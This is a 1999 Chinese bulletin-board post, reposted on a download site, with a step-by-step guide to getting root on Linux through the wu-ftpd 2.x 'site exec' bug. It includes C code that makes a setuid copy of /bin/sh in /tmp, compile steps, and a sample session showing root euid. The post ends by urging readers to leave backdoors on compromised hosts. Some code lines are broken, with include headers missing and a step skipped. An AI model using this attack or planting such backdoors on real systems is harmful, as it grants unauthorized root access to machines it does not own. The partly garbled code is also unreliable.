⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 帮你在liunx上取得root权限(局限于wu-ftp 2.x).txt

📁 当今
💻 TXT
字号:
发信人: triton (半颗勇敢的心), 信区: Security 

标  题: 帮你在liunx上取得root权限(局限于wu-ftp 2.x) (转载) 

发信站: 武汉白云黄鹤站 (Fri Feb 26 09:22:09 1999) , 站内信件 

  

【 以下文字转载自 Encrypt 讨论区 】 

【 原文由 just 所发表 】 

如何使用 wu-ftp 2.x (site exec bug) 来取得 root 权限 

1.需求: 

(1)该主机的 ftpd 使用 wu-ftp 2.x 版本 

(2)您必须有该主机的任何一个帐号 

2.步骤: 

(1)先 telnet login 到主机您的目录下... 

(2)使用 cc -o bug bug.c 将下列程式编译... 

   --< bug.c >----------------------------- 

  

     #include 

     #include 

     #include 

  

  

  

  

  

  

  

     main() 

  

     { 

  

          seteuid(0); 

  

          system("cp /bin/sh /tmp/.sh"); 

  

          system("chmod 6777 /tmp/.sh"); 

  

     } 

  

  

  

   ----------------------------------------- 

  

   编译成功後会在您的目录下产生 bug 这个档案 (别忘了 chmod ...) 

  

(3)使用 ftp login 到该主机下... 

  220 hackerforce FTP server (Version wu-2.4(1) Sun Jul 31 21:00:15 CDT 1997) r 

  

dy. 

  

  Name (hackerforce:ftp): funky 

  

  $ /tmp/.sh 

  

  

  

  # id 

  

  uid=101(funky) gid=50(user) euid=0(root) 

  

  # 

  

  

  

  恭喜您...到此您就成功的拿到 root 权限了.... 

3.后记 

由于wu-ftpd 执行时的 euid 是 root ,所以我们透过这个 hole 来执行执行外部的命戈 

... 



  当编译完的 bug 一但被执行,便会帮您将 /bin/sh 这个 shell 复制一份到 /tmp/.sh 

  

并且 

  

  会将 /tmp/.sh setuid ,一但成功後只要任何使用者执行 /tmp/.sh 这个 setuid shell 

  

N会雍 

  

  有 root 的 euid .... 

  一但您得手,别忘了帮自己及别人多留些 backdoor... ;-) 

弟有感于这些 hack 资源实在很有限,以後弟会试着将一些弟曾实作过的技巧及心得 

list 出      来,让有兴趣的朋友能很快的进入这个领域,欢迎各位前辈後进,能多多与弟 

研究,交流.. 

呵呵! 

chat* happy new year.welcome !!!. 

  

-- 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -